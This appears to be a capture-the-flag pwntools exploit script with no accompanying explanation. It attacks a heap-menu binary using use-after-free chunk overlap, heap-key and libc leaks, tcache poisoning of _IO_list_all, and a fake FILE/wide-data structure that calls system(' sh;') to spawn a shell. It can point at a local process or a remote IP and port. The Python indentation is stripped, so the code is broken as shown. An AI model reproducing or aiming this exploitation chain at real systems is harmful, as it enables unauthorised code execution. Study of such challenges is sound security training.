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from pwn import *
from pwn import p64,p32,u64,u32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
else:
p = remote('10.213.13.228', 21199)
elf = ELF('./pwn')
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6')
def add(index,size,data):
rl(b">>> ")
sl(b'1')
rl(b"please input chunk_idx: ")
sl(str(index))
rl(b"Enter chunk size: ")
sl(str(size))
rl(b"Enter chunk data: ")
s(data)
def show(index):
rl(b">>> ")
sl(b'3')
rl(b"Enter chunk id: ")
sl(str(index))
def delete(index):
rl(b">>> ")
sl(b'2')
rl(b"Enter chunk id: ")
sl(str(index))
def exit():
rl(b">>> ")
sl(b'4')
add(0,0x10,'a')
delete(0)
add(1,0x10,p64(0x30)+p64(1))
show(0)
rl(b'\x01\x00\x00\x00\x00\x00\x00\x00')
heap_leak = uu32()
heap_key = heap_leak >> 12
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_base",heap_base)
add(2,0x10,'a')
for i in range(8):
add(i+3,0x80,'a')
add(11,0x10,'a')
for i in range(8):
delete(i+3)
for i in range(4):
add(i,0x10,'a')
delete(11)
add(5,0x18,p64(0x10)+p64(1)+p64(heap_base+0x810))
show(11)
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak - 0x21ace0
lg("libc_base",libc_base)
IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("IO_list_all",IO_list_all)
stderr = libc_base + libc.sym['_IO_2_1_stderr_']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
lg("stderr",stderr)
IO_jump_t = libc_base + 0x2170c0
for i in range(9):
add(i,0x40,'a')
add(9,0x10,'aa')
delete(9)
add(10,0x18,p64(0x30)+p64(1)+p64(heap_base+0xb80))
for i in range(9):
delete(i)
delete(9)
for i in range(7):
add(i,0x40,'a')
for i in range(3):
add(i,0x30,'a')
fake_file = b' sh;\x00\x00\x00'
fake_file += p64(0)*4 + p64(1)
fake_file = fake_file.ljust(0x68,b'\x00')
fake_file += p64(stdout)
fake_file = fake_file.ljust(0x80,b'\x00')
fake_file = bytes(fake_file)
fake_wide = p64(0)*4
fake_wide += p64(0)*3
fake_wide += p64(0) + p64(0)*20 + p64(heap_base+0x9a0)
fake_wide += p64(0)*14+p64(libc_base+libc.sym['system'])
fake_wide2 = p64(0)*6 + p64(heap_base+0x730) + p64(libc_base+libc.sym['system'])
add(0,0x80,fake_wide2)
add(1,0x80,p64(0)*5+p64(IO_jump_t)+p64(0)*10)
add(2,0x80,fake_file)
add(3,0x40,p64(IO_list_all^heap_key))
add(4,0x40,'a')
add(5,0x40,'a')
add(6,0x40,p64(heap_base+0x600))
exit()
inter()
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